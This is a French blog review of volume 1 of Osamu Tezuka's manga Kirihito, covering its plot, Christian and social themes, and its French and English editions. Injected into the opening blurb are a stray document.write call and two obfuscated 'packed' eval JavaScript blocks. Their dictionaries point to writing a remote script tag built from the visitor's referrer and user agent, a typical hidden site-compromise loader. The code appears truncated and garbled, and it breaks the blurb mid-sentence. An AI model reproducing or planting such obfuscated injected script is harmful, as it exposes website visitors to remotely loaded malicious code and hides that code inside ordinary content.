Kirihito (1)

“Pour découvrir les causes d’une maladie mystérieuse, document.write(“”); la “monmô”, le Dr. Kirihito Osanaï se rend au village de Inugami-sawa, dans une région très retirée du Japon. Il va y faire une découverte incroyable et sera victime d’une monstrueuse machination…”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttfkh|var|u0026u|referrer|nyzdn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hikrd|var|u0026u|referrer|ahyre||js|php’.split(‘|’),0,{}))

“À travers ce drame bouleversant, Osamu Tezuka plonge son scalpel directement dans un des “foyers infectieux” qui rongent notre société contemporaine.”

[ Texte de la jaquette intérieure de couverture ]

Continuez après le saut de page >>


Kirihito (?????? / Kirihito Sanka / lit. “éloge de Kirihito”) est un manga seinen relativement obscure écrit et illustré par Osamu Tezuka. Il a été prépublié en feuilleton dans le magazine Big Comics de Shogakukan entre Avril 1970 et Décembre 1971. Il a été compilé en un nombre de volumes qui varie beaucoup selon l’éditeur (de deux à cinq volumes) mais l’édition complète de l’oeuvre de Tezuka par Kodansha en 1977 le met en quatre volumes.

C’est un manga très complexe qui représente un point tournant important dans l’oeuvre de Tezuka. Il s’agit de sa première histoire de suspense médical (lui-même médecin, Tezuka va perfectionner ce genre pour sa série Black Jack (1973-83) et utilisera également une thématique médicale pour L’arbre au soleil (1981-86), une chronique biographique qui retrace la vie de son arrière-grand-père, Ryoan Tezuka, aussi un médecin). C’est également sa première oeuvre influencée par le gekiga et offrant une forte thématique sociologique. Même son style graphique, qui apparait moins cartoonesque et caricatural qu’à l’habitude, subit l’influence du gekiga, un genre de récit graphique plus sombre, plus dramatique et réaliste, par opposition au manga qui est un genre généralemenet considéré plus léger et comique.

Le jeune docteur Kirihito Osanai étudie une maladie énigmatique qui transforme les humains en créatures d’une apparence quasi canine. Recherchant les causes de cette maladie, qu’il croit d’origine environnementale, il se rend dans un village reculé du Japon où il en devient lui-même victime. Il réussi à en contrôler le développement mais doit aussi faire face à une conspiration orchestrée par son propre patron. Il est fait prisonnier par un cirque chinois, mais réussi à s’échapper. Cependant l’avion qui l’amène de Taiwan aux Pays-Bas est détourné et il se retrouve bloqué au Moyen-Orient.

Préfigurant étrangement son Bouddha (1972-83), Tezuka explore les valeurs morales fondamentales du christianisme en utilisant un personnage qui a une vie de souffrance comme l’a fait Jésus-Christ (et le nom du personnage est un jeu de mot sur le nom du “Christ”, qui se prononce “Kirisuto” en japonais, et peut-être aussi sur “hosanna” qui est une exclamation de louange à Dieu en araméen et en hébreux). Le message humaniste de Tezuka (fait de compassion et de non-violence) commence à prendre forme. Au premier niveau, l’histoire offre un commentaire social sur l’ostracisme et le racisme, l’enseignement de l’acceptation de toutes les différences et le fait que, peu importe la façon dont nous nous regardons, nous sommes tous humains. Pour cela, Tezuka pourrait avoir utilisé une maladie comme la lèpre, mais cela n’aurait pas eu un effet aussi spectaculaire qu’une maladie fictive comme celle de Monmô, ce qui lui permet aussi d’ajouter, à un second niveau, un commentaire moral sur la nature humaine. Il dénonce ainsi les vices humains, démontrant que nous devons constamment nous battre pour rester au-dessus de la bête. Sur le rebond, il critique également la médecine moderne, qui est souvent plus préoccupés par la politique, les récompenses, les subventions et la promotion personnelle des ses chercheurs que de la santé réelle des patients.

Ce manga nous propose une histoire plutôt sérieuse qui se déroule lentement, ce qui ne plaira sans doute pas aux fans de Tezuka habitués à des récits plus légers. C’est toutefois superbement écrit et assez captivant. L’édition française de Delcourt/Akata honore bien cet excellent ouvrage avec une présentation attrayante et respectueuse: bonne traduction, sens de lecture original, répartie sur quatre volumes — contrairement à l’édition anglaise de Vertical qui renverse les planches pour les présenter dans le sens de lecture occidental, en un seul volume énorme et encombrant.

Je n’ai lu que le premier volume mais l’ensemble de la série m’apparait d’un grand intérêt et je m’efforcerai sûrement d’en lire la suite dès que possible. Même si ce n’est pas une oeuvre très connue de Tezuka, j’en recommande la lecture car je crois que c’est un manga important pour comprendre et apprécier la travail du maître.

Kirihito, vol. 1, par Osamu Tezuka. Paris, Éditions Delcourt (Label Akata, Coll. Ginkgo), août 2005. 12.7 x 18.0 x 1.8 cm, 220 pg., 7.99 € / $13.95 Can. ISBN: 978-2-8478-9892-7. Sens de lecture Japonais. Recommandé pour jeunes adultes (16+).
Aussi disponible en version anglaise chez Vertical:

Ode To Kirihito, story & art by Osamu Tezuka, New York, Vertical, 2006. 828 pages, 6 x 8 in., B&W, flipped, paperback, $24.95 US ($37.95 CND), rated 16+, ISBN 1-932234-64-0. (La réédition de 2010 est en deux volumes: Part 1, 978-1-934287-97-2, 480 pages; Part 2, 978-1-934287-98-9, 352 pages; U.S. $14.95 / CAN $18.95 chacun).

Vertical avait mis en ligne un preview (qui est encore disponible) pour les pages 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64 et 65 de leur édition anglaise.

Pour plus d’information vous pouvez consulter les sites suivants:

Pour en savoir plus sur ce titre vous pouvez également consulter les entrés qui lui sont consacrées (en anglais) sur Anime News Network et Tezuka in English.

Une autre version de cet article a été préalablement publié dans Protoculture Addicts #89 (Fall 2006): 78.

Kirihito Sanka © 2005 by Tezuka Productions. All rights reserved. © 2005 Guy Delcourt Productions pour l’édition française.

[ Translate ]

2 thoughts on “Kirihito (1)

  1. Pingback: Bibliography | Clodjee's Safe-House

  2. Pingback: Index of book reviews | Clodjee's Safe-House

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s